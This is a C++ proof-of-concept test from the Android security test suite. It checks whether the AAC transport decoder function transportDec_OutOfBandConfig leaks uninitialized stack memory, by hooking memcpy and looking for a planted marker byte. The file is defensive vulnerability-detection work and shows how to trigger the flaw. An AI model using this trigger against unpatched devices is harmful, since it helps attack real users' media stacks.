1 /**
2  * Copyright (C) 2020 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 #include <iostream>
18 #include <unistd.h>
19 #include <dlfcn.h>
20 #include <common.h>
21 
22 #include "tpdec_lib.h"
23 
24 #define STACK_SIZE 16384
25 #define SIZE_OF_VULNERABLE_MEMORY 1024
26 #define TRANSPORTDEC_SIZE 5776
27 #define INITIAL_VAL 0xBE
28 #define TIMEOUT_IN_SECONDS 540
29 
30 const UINT length = 200;
31 UCHAR conf[length] = { 0 };
32 UINT layer = 0;
33 bool isVulnerable = false;
34 bool isPocExecutionComplete = false;
35 
36 static void* (*real_memcpy)(void*, const void*, size_t) = nullptr;
37 static bool s_memory_copy_initialized = false;
38 
poc(void * sTp)39 int poc(void *sTp) {
40     transportDec_OutOfBandConfig((struct TRANSPORTDEC *) sTp, conf, length,
41                                  layer);
42     isPocExecutionComplete = true;
43     return EXIT_SUCCESS;
44 }
45 
memory_copy_init(void)46 void memory_copy_init(void) {
47     real_memcpy = (void *(*)(void *, const void *,
48                              size_t))dlsym(RTLD_NEXT, "memcpy");
49     if (!real_memcpy) {
50         return;
51     }
52     s_memory_copy_initialized = true;
53 }
54 
memcpy(void * destination,const void * source,size_t num)55 void* memcpy(void* destination, const void* source, size_t num) {
56     if (!s_memory_copy_initialized) {
57         memory_copy_init();
58     }
59     if (num == length) {
60         char *tmp_destination = (char*) destination;
61         for (int i = 0; i < SIZE_OF_VULNERABLE_MEMORY; ++i) {
62             if (tmp_destination[i] == INITIAL_VAL) {
63                 isVulnerable = true;
64                 break;
65             }
66         }
67     }
68     return real_memcpy(destination, source, num);
69 }
70 
main()71 int main() {
72     void *sTp = malloc(TRANSPORTDEC_SIZE);
73     if (!sTp) {
74         return EXIT_FAILURE;
75     }
76     char *ptr = (char *) malloc(STACK_SIZE);
77     if (!ptr) {
78         free(sTp);
79         return EXIT_FAILURE;
80     }
81     memset(sTp, 0x00, TRANSPORTDEC_SIZE);
82     memset(ptr, INITIAL_VAL, STACK_SIZE);
83     clone(&poc, ptr + STACK_SIZE, CLONE_VM, sTp);
84     int sleepCounter = 0;
85     while (!isPocExecutionComplete) {
86         if (sleepCounter == TIMEOUT_IN_SECONDS) {
87             break;
88         }
89         sleep(1);
90         ++sleepCounter;
91     }
92     free(ptr);
93     free(sTp);
94     return (isVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS);
95 }
96